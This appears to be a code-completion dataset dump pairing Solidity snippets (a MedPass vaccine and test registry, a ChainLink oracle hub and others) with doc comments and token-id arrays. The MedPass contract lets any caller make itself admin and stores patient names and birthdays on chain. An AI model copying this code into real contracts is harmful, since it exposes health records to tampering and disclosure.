file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
---|---|---|---|---|---|---|
./partial_match/1/0xd4bDCCa1CA76ceD6FC8BB1bA91C5D7c0Ca4fE567/sources/CEtherDelegator.sol | * @notice Construct a new CEther money market @param comptroller_ The address of the Comptroller @param interestRateModel_ The address of the interest rate model @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 @param name_ ERC-20 name of this token @param symbol_ ERC-20 symbol of this token @param decimals_ ERC-20 decimal precision of this token @param admin_ Address of the administrator of this token @param implementation_ The address of the implementation the contract delegates to @param becomeImplementationData The encoded args for becomeImplementation/ Creator of the contract is admin during initialization First delegate gets to initialize the delegator (i.e. storage contract) New implementations always get set via the settor (post-initialize) Set the proper admin now that initialization is done | uint256 adminFeeMantissa_) public {
admin = msg.sender;
delegateTo(implementation_, abi.encodeWithSignature("initialize(address,address,uint256,string,string,uint8,uint256,uint256)",
comptroller_,
interestRateModel_,
initialExchangeRateMantissa_,
name_,
symbol_,
decimals_,
reserveFactorMantissa_,
adminFeeMantissa_));
_setImplementation(implementation_, false, becomeImplementationData);
admin = admin_;
}
| 3,684,969 | [
1,
7249,
279,
394,
29538,
1136,
15601,
13667,
225,
532,
337,
1539,
67,
1021,
1758,
434,
326,
1286,
337,
1539,
225,
16513,
4727,
1488,
67,
1021,
1758,
434,
326,
16513,
4993,
938,
225,
2172,
11688,
4727,
49,
970,
21269,
67,
1021,
2172,
7829,
4993,
16,
12304,
635,
404,
73,
2643,
225,
508,
67,
4232,
39,
17,
3462,
508,
434,
333,
1147,
225,
3273,
67,
4232,
39,
17,
3462,
3273,
434,
333,
1147,
225,
15105,
67,
4232,
39,
17,
3462,
6970,
6039,
434,
333,
1147,
225,
3981,
67,
5267,
434,
326,
22330,
434,
333,
1147,
225,
4471,
67,
1021,
1758,
434,
326,
4471,
326,
6835,
22310,
358,
225,
12561,
13621,
751,
1021,
3749,
833,
364,
12561,
13621,
19,
29525,
434,
326,
6835,
353,
3981,
4982,
10313,
5783,
7152,
5571,
358,
4046,
326,
11158,
639,
261,
77,
18,
73,
18,
2502,
6835,
13,
1166,
16164,
3712,
336,
444,
3970,
326,
444,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
7734,
2254,
5034,
3981,
14667,
49,
970,
21269,
67,
13,
1071,
288,
203,
3639,
3981,
273,
1234,
18,
15330,
31,
203,
203,
3639,
7152,
774,
12,
30810,
67,
16,
24126,
18,
3015,
1190,
5374,
2932,
11160,
12,
2867,
16,
2867,
16,
11890,
5034,
16,
1080,
16,
1080,
16,
11890,
28,
16,
11890,
5034,
16,
11890,
5034,
2225,
16,
203,
4766,
18701,
532,
337,
1539,
67,
16,
203,
4766,
18701,
16513,
4727,
1488,
67,
16,
203,
4766,
18701,
2172,
11688,
4727,
49,
970,
21269,
67,
16,
203,
4766,
18701,
508,
67,
16,
203,
4766,
18701,
3273,
67,
16,
203,
4766,
18701,
15105,
67,
16,
203,
4766,
18701,
20501,
6837,
49,
970,
21269,
67,
16,
203,
4766,
18701,
3981,
14667,
49,
970,
21269,
67,
10019,
203,
203,
3639,
389,
542,
13621,
12,
30810,
67,
16,
629,
16,
12561,
13621,
751,
1769,
203,
203,
3639,
3981,
273,
3981,
67,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract MedPass {
address owner;
enum Condition {
Negative,
Positive
}
enum VaccineType {
None,
Moderna,
Pfizer,
AstraZeneca
}
struct Vaccine {
VaccineType vaccine;
uint256 amount;
}
struct Person {
bool registered;
uint32 id;
string name;
int256 bday;
VaccineType vaccine;
uint256 testCount;
uint256 v_required;
}
// rename
uint256 totalTestCount = 0;
struct Test {
uint32 id;
address by_admin;
uint32 patient_id;
Condition condition;
uint256 timestamp;
}
modifier onlyAdmin() {
require(adminmapping[msg.sender] == true);
_;
}
// struct mappings
mapping(address => Person) private identity;
mapping(address => bool) public adminmapping;
mapping(uint256 => Test) public personTests;
mapping(VaccineType => uint256) public v_amount;
mapping(address => uint32) private addToID;
mapping(uint32 => address) private idToAdd;
// default person
Person p =
Person(false, 1, "Your Name", 1621607249, VaccineType.None, 0, 2);
// default test
Test t = Test(0, msg.sender, 1, Condition.Negative, block.timestamp);
function setPerson(
string memory _fname,
string memory _lname,
int256 _bday
) public {
// get address of account
owner = msg.sender;
// NAME
// concatenate First & Last Name into one string
bytes memory s;
s = abi.encodePacked(_fname);
s = abi.encodePacked(s, " ");
s = abi.encodePacked(s, _lname);
string memory fullName = string(s);
// set name of person and map it to account address
identity[owner].name = fullName;
// ID
uint32 id = getID(owner);
addToID[owner] = id;
idToAdd[id] = owner;
// BDAY
identity[owner].bday = _bday;
// VACCINE
if (!identity[owner].registered) {
identity[owner].vaccine = VaccineType.None;
identity[owner].v_required = 2;
}
identity[owner].registered = true;
}
function setAdmin() public {
require(!adminmapping[msg.sender]);
adminmapping[msg.sender] = true;
}
function setVaccine(uint32 _id, string memory _vaccine) public onlyAdmin {
bytes memory vaccine = bytes(_vaccine);
bytes32 Hash = keccak256(vaccine);
if (Hash == keccak256("None")) {
identity[idToAdd[_id]].vaccine = VaccineType.None;
}
if (Hash == keccak256("Moderna")) {
identity[idToAdd[_id]].vaccine = VaccineType.Moderna;
}
if (Hash == keccak256("Pfizer")) {
identity[idToAdd[_id]].vaccine = VaccineType.Pfizer;
}
if (Hash == keccak256("AstraZeneca")) {
identity[idToAdd[_id]].vaccine = VaccineType.AstraZeneca;
}
v_amount[identity[idToAdd[_id]].vaccine] -= 1;
identity[idToAdd[_id]].v_required -= 1;
}
function addV_amount(string memory _type, uint256 _amount)
public
onlyAdmin
{
bytes memory vtype = bytes(_type);
bytes32 Hash = keccak256(vtype);
if (Hash == keccak256("Moderna")) {
Vaccine memory moderna = Vaccine(VaccineType.Moderna, _amount);
v_amount[moderna.vaccine] += moderna.amount;
}
if (Hash == keccak256("Pfizer")) {
Vaccine memory pfizer = Vaccine(VaccineType.Pfizer, _amount);
v_amount[pfizer.vaccine] += pfizer.amount;
}
if (Hash == keccak256("AstraZeneca")) {
Vaccine memory astrazeneca = Vaccine(
VaccineType.AstraZeneca,
_amount
);
v_amount[astrazeneca.vaccine] += astrazeneca.amount;
}
}
function subV_amount(string memory _type, uint256 _amount)
public
onlyAdmin
{
bytes memory vtype = bytes(_type);
bytes32 Hash = keccak256(vtype);
if (Hash == keccak256("Moderna")) {
Vaccine memory moderna = Vaccine(VaccineType.Moderna, _amount);
v_amount[moderna.vaccine] -= moderna.amount;
}
if (Hash == keccak256("Pfizer")) {
Vaccine memory pfizer = Vaccine(VaccineType.Pfizer, _amount);
v_amount[pfizer.vaccine] -= pfizer.amount;
}
if (Hash == keccak256("AstraZeneca")) {
Vaccine memory astrazeneca = Vaccine(
VaccineType.AstraZeneca,
_amount
);
v_amount[astrazeneca.vaccine] -= astrazeneca.amount;
}
}
function createTest(uint32 _id, string memory _condition) public onlyAdmin {
// keccak256() only accept bytes as arguments, so we need explicit conversion
bytes memory condi = bytes(_condition);
bytes32 Hash = keccak256(condi);
uint32 id = uint32(
uint256(keccak256(abi.encodePacked(idToAdd[_id], block.timestamp)))
);
totalTestCount++;
identity[idToAdd[_id]].testCount += 1;
uint256 testCount = identity[idToAdd[_id]].testCount;
personTests[testCount].timestamp = block.timestamp;
if (Hash == keccak256("Negative")) {
t.condition = Condition.Negative;
}
if (Hash == keccak256("Positive")) {
t.condition = Condition.Positive;
}
personTests[testCount].condition = t.condition;
Test memory test = Test(
id,
msg.sender,
_id,
personTests[testCount].condition,
block.timestamp
);
personTests[testCount] = test;
}
function getID(address _owner) public pure returns (uint32) {
// returns ID of patient
return uint32(uint256(keccak256(abi.encodePacked(_owner))));
}
function getName(address _owner) public view returns (string memory) {
// returns full patient name which is mapped to the address
return identity[_owner].name;
}
function getBday(address _owner) public view returns (int256) {
return identity[_owner].bday;
}
function getV_Required(address _owner) public view returns (uint256) {
return identity[_owner].v_required;
}
function getVaccine(address _owner)
public
view
returns (string memory _vaccine)
{
if (identity[_owner].vaccine == VaccineType.None) {
return "None";
}
if (identity[_owner].vaccine == VaccineType.Moderna) {
return "Moderna";
}
if (identity[_owner].vaccine == VaccineType.Pfizer) {
return "Pfizer";
}
if (identity[_owner].vaccine == VaccineType.AstraZeneca) {
return "AstraZeneca";
}
}
function getByAdmin(address _owner) public view returns (address) {
uint256 testID = identity[_owner].testCount;
return personTests[testID].by_admin;
}
function getCondition(address _owner)
public
view
returns (string memory condi)
{
uint256 testID = identity[_owner].testCount;
if (personTests[testID].condition == Condition.Positive) {
return "Positive";
}
if (personTests[testID].condition == Condition.Negative) {
return "Negative";
}
}
function getTestTime(address _owner) public view returns (uint256) {
uint256 testID = identity[_owner].testCount;
return personTests[testID].timestamp;
}
function getTestCount(address _owner) public view returns (uint256) {
uint256 testcount = identity[_owner].testCount;
return testcount;
}
function getTotalTestCount() public view returns (uint256) {
return totalTestCount;
}
function getV_amount(string memory _type)
public
view
returns (uint256 amount)
{
bytes memory vtype = bytes(_type);
bytes32 Hash = keccak256(vtype);
if (Hash == keccak256("Moderna")) {
return v_amount[VaccineType.Moderna];
}
if (Hash == keccak256("Pfizer")) {
return v_amount[VaccineType.Pfizer];
}
if (Hash == keccak256("AstraZeneca")) {
return v_amount[VaccineType.AstraZeneca];
}
}
function getRegistered(address _owner) public view returns (bool) {
bool isregistered = identity[_owner].registered;
return isregistered;
}
// --------------- SENSOR ------------------
uint256 totalMeasureCount = 0;
struct Sensor {
bytes32 id;
bytes32 temp;
bytes32 hum;
bytes32 m_time; //measure time
uint256 l_time; //log time
}
mapping(bytes32 => Sensor) public sensors;
mapping(uint256 => Sensor) public history;
function writeData(bytes32 _id, bytes32 _temp, bytes32 _hum, bytes32 _time) public onlyAdmin {
Sensor memory sensor = Sensor(_id, _temp, _hum, _time, block.timestamp);
sensors[sensor.id] = sensor;
totalMeasureCount++;
history[totalMeasureCount] = sensor;
}
function getTotalMeasureCount() public view returns (uint256) {
return totalMeasureCount;
}
}
| returns ID of patient | function getID(address _owner) public pure returns (uint32) {
return uint32(uint256(keccak256(abi.encodePacked(_owner))));
}
| 2,506,284 | [
1,
6154,
1599,
434,
18608,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
14744,
12,
2867,
389,
8443,
13,
1071,
16618,
1135,
261,
11890,
1578,
13,
288,
203,
3639,
327,
2254,
1578,
12,
11890,
5034,
12,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
24899,
8443,
3719,
10019,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0x85afa00f38aD5F353C2B80985407b8E8A27eA38f/sources/src/zkbob/ZkBobPool.sol | * @dev Updates token seller contract used for native coin withdrawals. Callable only by the contract owner / proxy admin. @param _seller new token seller contract implementation. address(0) will deactivate native withdrawals./ | function setTokenSeller(address _seller) external onlyOwner {
tokenSeller = ITokenSeller(_seller);
}
| 3,739,134 | [
1,
5121,
1147,
29804,
6835,
1399,
364,
6448,
13170,
598,
9446,
1031,
18,
10464,
1338,
635,
326,
6835,
3410,
342,
2889,
3981,
18,
225,
389,
1786,
749,
394,
1147,
29804,
6835,
4471,
18,
1758,
12,
20,
13,
903,
18790,
6448,
598,
9446,
1031,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
22629,
22050,
12,
2867,
389,
1786,
749,
13,
3903,
1338,
5541,
288,
203,
3639,
1147,
22050,
273,
467,
1345,
22050,
24899,
1786,
749,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
Copyright 2017-2018 Phillip A. Elsasser
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.4.24;
import "openzeppelin-solidity/contracts/ownership/Ownable.sol";
import "chainlink/solidity/contracts/Chainlinked.sol";
import "../libraries/StringLib.sol";
import "./MarketContractChainLink.sol";
contract OracleHubChainLink is Chainlinked, Ownable {
using StringLib for *;
/// @dev all needed pieces of a chainlink query.
struct ChainLinkQuery {
address marketContractAddress;
string oracleQueryURL;
string oracleQueryPath;
string[] oracleQueryRunPath; // cheaper to store or just re-create if needed for on-demand queries?
bytes32 sleepJobId;
bytes32 onDemandJobId;
}
mapping(address => ChainLinkQuery) contractAddressToChainLinkQuery;
mapping(bytes32 => ChainLinkQuery) requestIDToChainLinkQuery;
address public marketContractFactoryAddress;
/// @dev creates our OracleHub with needed address for ChainLink
/// @param contractFactoryAddress address of our MaretkContractFactory
/// @param linkTokenAddress address of the LINK token
/// @param oracleAddress address of the ChainLink Oracle
constructor(address contractFactoryAddress, address linkTokenAddress, address oracleAddress) public {
marketContractFactoryAddress = contractFactoryAddress;
setLinkToken(linkTokenAddress);
setOracle(oracleAddress);
}
/*
// EXTERNAL METHODS
*/
/// @dev allows us to withdraw link as the owner of this contract
/// @param sendTo address of where to send LINK
/// @param amount amount of link (in baseUnits)
function withdrawLink(address sendTo, uint256 amount) external onlyOwner returns (bool) {
return link.transfer(sendTo, amount);
}
/// @notice called by a user requesting an on demand query when they believe that a contract is pushed into
/// an expired state.
/// @param marketContractAddress - address of the MarketContract
function requestOnDemandQuery(address marketContractAddress) external {
// TODO: enforce ETH payment to cover LINK, refund if settled?
ChainLinkQuery storage chainLinkQuery = contractAddressToChainLinkQuery[marketContractAddress];
bytes32 requestId = createRunAndRequest(chainLinkQuery, true);
requestIDToChainLinkQuery[requestId] = chainLinkQuery; // save query struct for later recall on callback.
}
/// @dev allows for the owner to set a factory address that is then allowed the priviledge of creating
/// queries.
function setFactoryAddress(address contractFactoryAddress) external onlyOwner {
marketContractFactoryAddress = contractFactoryAddress;
}
/// @dev called by our factory to create the needed initial query for a new MarketContract
/// @param marketContractAddress - address of the newly created MarketContract
/// @param oracleQueryURL URL of rest end point for data IE 'https://api.kraken.com/0/public/Ticker?pair=ETHUSD'
/// @param oracleQueryPath path of data inside json object. IE 'result.XETHZUSD.c.0'
/// @param sleepJobId ChainLink job id with their sleep adapter
/// @param onDemandJobId ChainLink job id for on demand user queries
function requestQuery(
address marketContractAddress,
string oracleQueryURL,
string oracleQueryPath,
bytes32 sleepJobId,
bytes32 onDemandJobId
) external onlyFactory
{
ChainLinkQuery storage chainLinkQuery = contractAddressToChainLinkQuery[marketContractAddress];
chainLinkQuery.marketContractAddress = marketContractAddress;
chainLinkQuery.oracleQueryURL = oracleQueryURL;
chainLinkQuery.oracleQueryPath = oracleQueryPath;
chainLinkQuery.sleepJobId = sleepJobId;
chainLinkQuery.onDemandJobId = onDemandJobId;
// NOTE: currently this cannot be separated into its own function due to constraints around
// return types and the current version of solidity... is this true for internal / private fxs?
StringLib.slice memory pathSlice = oracleQueryPath.toSlice();
StringLib.slice memory delim = ".".toSlice();
chainLinkQuery.oracleQueryRunPath = new string[](pathSlice.count(delim) + 1);
for (uint i = 0; i < chainLinkQuery.oracleQueryRunPath.length; i++) {
chainLinkQuery.oracleQueryRunPath[i] = pathSlice.split(delim).toString();
}
bytes32 requestId = createRunAndRequest(chainLinkQuery, false);
requestIDToChainLinkQuery[requestId] = chainLinkQuery; // save query struct for later recall on callback.
}
/// @dev designated callback function to ChainLinks oracles.
/// @param requestId id of the request being handed back
/// @param price value being handed back from oracle.
function callback(bytes32 requestId, uint256 price) external checkChainlinkFulfillment(requestId) {
// NOTE: event is emitted by chainlink upon call above to checkChainlinkFulfillment
ChainLinkQuery memory chainLinkQuery = requestIDToChainLinkQuery[requestId];
MarketContractChainLink(chainLinkQuery.marketContractAddress).oracleCallBack(price);
}
/*
// PRIVATE METHODS
*/
/// @dev Creates the needed Run object and initiates the request to ChainLink.
function createRunAndRequest(ChainLinkQuery memory chainLinkQuery, bool isOnDemand) private returns (bytes32) {
MarketContractChainLink marketContractChainLink = MarketContractChainLink(chainLinkQuery.marketContractAddress);
ChainlinkLib.Run memory run;
if (isOnDemand) { // on demand query, no sleep adapter needed.
run = newRun(chainLinkQuery.onDemandJobId, this, "callback(bytes32,uint256)");
} else { // sleep query, to be called at expiration of contract.
run = newRun(chainLinkQuery.sleepJobId, this, "callback(bytes32,uint256)");
run.addUint("until", marketContractChainLink.EXPIRATION());
}
run.add("url", chainLinkQuery.oracleQueryURL);
run.addStringArray("path", chainLinkQuery.oracleQueryRunPath);
run.addUint("times", marketContractChainLink.PRICE_DECIMAL_PLACES());
return chainlinkRequest(run, LINK(1));
}
/*
// MODIFIERS
*/
/// @dev only callable by the designated factory!
modifier onlyFactory() {
require(msg.sender == marketContractFactoryAddress);
_;
}
}
| @dev called by our factory to create the needed initial query for a new MarketContract @param marketContractAddress - address of the newly created MarketContract @param oracleQueryURL URL of rest end point for data IE 'https://api.kraken.com/0/public/Ticker?pair=ETHUSD' @param oracleQueryPath path of data inside json object. IE 'result.XETHZUSD.c.0' @param sleepJobId ChainLink job id with their sleep adapter @param onDemandJobId ChainLink job id for on demand user queries NOTE: currently this cannot be separated into its own function due to constraints around return types and the current version of solidity... is this true for internal / private fxs? | function requestQuery(
address marketContractAddress,
string oracleQueryURL,
string oracleQueryPath,
bytes32 sleepJobId,
bytes32 onDemandJobId
) external onlyFactory
{
ChainLinkQuery storage chainLinkQuery = contractAddressToChainLinkQuery[marketContractAddress];
chainLinkQuery.marketContractAddress = marketContractAddress;
chainLinkQuery.oracleQueryURL = oracleQueryURL;
chainLinkQuery.oracleQueryPath = oracleQueryPath;
chainLinkQuery.sleepJobId = sleepJobId;
chainLinkQuery.onDemandJobId = onDemandJobId;
StringLib.slice memory pathSlice = oracleQueryPath.toSlice();
StringLib.slice memory delim = ".".toSlice();
chainLinkQuery.oracleQueryRunPath = new string[](pathSlice.count(delim) + 1);
for (uint i = 0; i < chainLinkQuery.oracleQueryRunPath.length; i++) {
chainLinkQuery.oracleQueryRunPath[i] = pathSlice.split(delim).toString();
}
bytes32 requestId = createRunAndRequest(chainLinkQuery, false);
}
| 12,623,732 | [
1,
11777,
635,
3134,
3272,
358,
752,
326,
3577,
2172,
843,
364,
279,
394,
6622,
278,
8924,
225,
13667,
8924,
1887,
300,
1758,
434,
326,
10894,
2522,
6622,
278,
8924,
225,
20865,
1138,
1785,
282,
1976,
434,
3127,
679,
1634,
364,
501,
10897,
296,
4528,
2207,
2425,
18,
79,
354,
28735,
18,
832,
19,
20,
19,
482,
19,
18008,
35,
6017,
33,
1584,
44,
3378,
40,
11,
225,
20865,
1138,
743,
225,
589,
434,
501,
4832,
1163,
733,
18,
10897,
296,
2088,
18,
60,
1584,
44,
62,
3378,
40,
18,
71,
18,
20,
11,
225,
5329,
23378,
225,
7824,
2098,
1719,
612,
598,
3675,
5329,
4516,
225,
603,
25461,
23378,
225,
7824,
2098,
1719,
612,
364,
603,
23653,
729,
6218,
5219,
30,
4551,
333,
2780,
506,
8936,
1368,
2097,
4953,
445,
6541,
358,
6237,
6740,
327,
1953,
471,
326,
783,
1177,
434,
18035,
560,
2777,
353,
333,
638,
364,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
565,
445,
590,
1138,
12,
203,
3639,
1758,
13667,
8924,
1887,
16,
203,
3639,
533,
20865,
1138,
1785,
16,
203,
3639,
533,
20865,
1138,
743,
16,
203,
3639,
1731,
1578,
5329,
23378,
16,
203,
3639,
1731,
1578,
603,
25461,
23378,
203,
565,
262,
3903,
1338,
1733,
203,
565,
288,
203,
3639,
7824,
2098,
1138,
2502,
2687,
2098,
1138,
273,
6835,
1887,
774,
3893,
2098,
1138,
63,
27151,
8924,
1887,
15533,
203,
3639,
2687,
2098,
1138,
18,
27151,
8924,
1887,
273,
13667,
8924,
1887,
31,
203,
3639,
2687,
2098,
1138,
18,
280,
16066,
1138,
1785,
273,
20865,
1138,
1785,
31,
203,
3639,
2687,
2098,
1138,
18,
280,
16066,
1138,
743,
273,
20865,
1138,
743,
31,
203,
3639,
2687,
2098,
1138,
18,
19607,
23378,
273,
5329,
23378,
31,
203,
3639,
2687,
2098,
1138,
18,
265,
25461,
23378,
273,
603,
25461,
23378,
31,
203,
203,
3639,
514,
5664,
18,
6665,
3778,
589,
5959,
273,
20865,
1138,
743,
18,
869,
5959,
5621,
203,
3639,
514,
5664,
18,
6665,
3778,
10508,
273,
4585,
18,
869,
